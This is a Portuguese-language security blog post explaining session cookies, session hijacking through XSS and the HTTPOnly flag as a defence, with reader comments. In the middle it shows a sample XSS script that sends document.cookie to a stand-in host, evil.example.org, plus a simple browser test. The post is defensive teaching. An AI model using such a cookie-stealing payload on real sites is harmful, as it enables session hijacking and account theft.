21 de abril de 2009

Segurança de Cookies de sessão e HTTPOnly

Cookie é um dos recursos usados para garantir estados em aplicações web. O protocolo HTTP é stateless, como podemos ver no post sobre HTTP. Esta característica nos primórdios não trazia nenhum problema, as páginas eram estáticas. Com o passar do tempo, as aplicações começaram a ficar mais complexas e passou a ser inevitável manter estados. Para fazer isso, utilizamos o recurso de sessão/cookie. Este recurso é a "memória" da aplicação web, ela irá consultar a sessão para lembrar de informações que são necessárias entre as requisições HTTP.

O que acontece se eu não tomar cuidado com a sessão?


Problemas sérios! Furto de dados, sequestro de sessão, problemas com autenticação, entre outras coisas que podem ser vistas na página sobre gestão de sessão da OWASP.

Como mitigar (diminuir) os riscos associados a cookies de sessão?


Além de implementar adequadamente a gestão de sessão, um excelente e simples controle para mitigar riscos relacionados a sequestro de sessão (session hijack), é evitar que cookies sejam consultados por javascript. Esta técnica é facilmente implementada, apenas inserindo uma flag httponly nos cookies.

Exemplo de cookie com a flag HTTPOnly
Set-Cookie: pmaCookieVer=4; expires=Thu, 21-May-2009 16:07:33 GMT; path=/phpmyadmin/; httponly


Como o acesso a cookies via javascript pode expor sua aplicação a sequestro de sessão?

A maiorias dos ataques de sequestro de sessão são realizados roubando cookies de usuários usando falhas de XSS (Cross Site Scripting). Uma pessoa mal intencionada envia uma URL contendo uma chamada javascript que irá usar a função document.cookie para coletar o cookie da sessão e enviar para um site/local onde ele possa capturar este cookie. Com o cookie em mãos a pessoa mal intencionada faz o sequestro de sessão.

Um exemplo de requisição maliciosa que pode ser usada para roubar cookies que não estejam protegidos.
<script><br />document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie<br /></script><br />

Como testar minha aplicação para verificar se ela usa o recurso de HTTPOnly ou não?

Um exemplo simples, para validar se a sua aplicação usa o recurso de HTTPOnly ou não, é fazer a seguinte chamada na caixa de texto onde insere as URLs que deseja acessar no seu browser: javascript:alert(document.cookie); Se retornar uma mensagem de alerta com o valor do seu cookie de sessão, a aplicação não usa o recurso de HTTPOnly, portanto, pode ser explorada via ataques que usem recursos de javascript.

Como implementar HTTPOnly?

Alguns frameworks nas últimas versões, já vem com este recurso habilitado por default, como é o caso do Rails. Cada linguagem possui seu modo de implementar este recurso, alguns exemplos:

Alguns browsers também pode forçar o uso do HTTPOnly.

Existe algum tipo de "bypass" de HTTPOnly?

Sim, existe alguns métodos para burlar o HTTPOnly. Por exemplo, usando requisições XHR (XMLHttpRequest).

7 comentários:

Jeronimo Zucco disse...

Não conhecia sobre o HTTPOnly. Pelo que pesquisei, essa feature na verdade não está prevista na RFC 2109, ela foi criada pela Microsoft para o IE e o Firefox e Opera já a suportam nas suas últimas versões. Isso não pode dar problema em outros browsers? Será que vão incluir o HTTPOnly numa nova versão da RFC ?

Norman disse...

Muito bom o post, sendo hand-on é bem melhor, eu pensava que tinha desistido do blog;-).

Dando uma olhada no site do virtualtesting e vizualizei um curso de web hacking a distância, gostaria que postasse mais informações sobre esse curso!! Quando começa,metodologia, se pode ser parcelado por boleto(cardless)...etc!!

Aumentando a segurança de cookies de sessão disse...

[...] por Wagner Elias (weliasΘconviso·com·br) - referência [...]

Luan Almeida disse...

Usando um sniffer ou até mesmo um navegador desatualizado dá para pegar os dados de toda forma.
O melhor mesmo é encriptar os dados dos cookies de forma que só a aplicação do lado do servidor entenda.

Elias Wagner disse...

Luan,

estamos falando de coisas distintas, o HTTPOnly vai tratar o roubo de cookies via JS, não é um controle contra tampering de dados.

E se for sniffar os dados, você precisa esta na rede onde o cliente acessa o site certo? Se eu for sniffar a rede e a aplicação não usar SSL eu pego a senha e acesso.

Obrigado pela visita e pelo comentário.

Segurança de Cookies de sessão e HTTPOnly - Wagner Elias - Think Security First « DevEzine disse...

[...] Original post: Segurança de Cookies de sessão e HTTPOnly - Wagner Elias - Think Security First [...]

Elias Wagner disse...

Oi Zucco,

vou responder sua pergunta com essa thread: http://groups.google.com/group/ietf-httponly-wg/browse_thread/thread/d2c5e757bba5411b?pli=1

Pois eu desconheço qualquer bug com o HTTPOnly, o que acontece são os "Bypass".

Abs.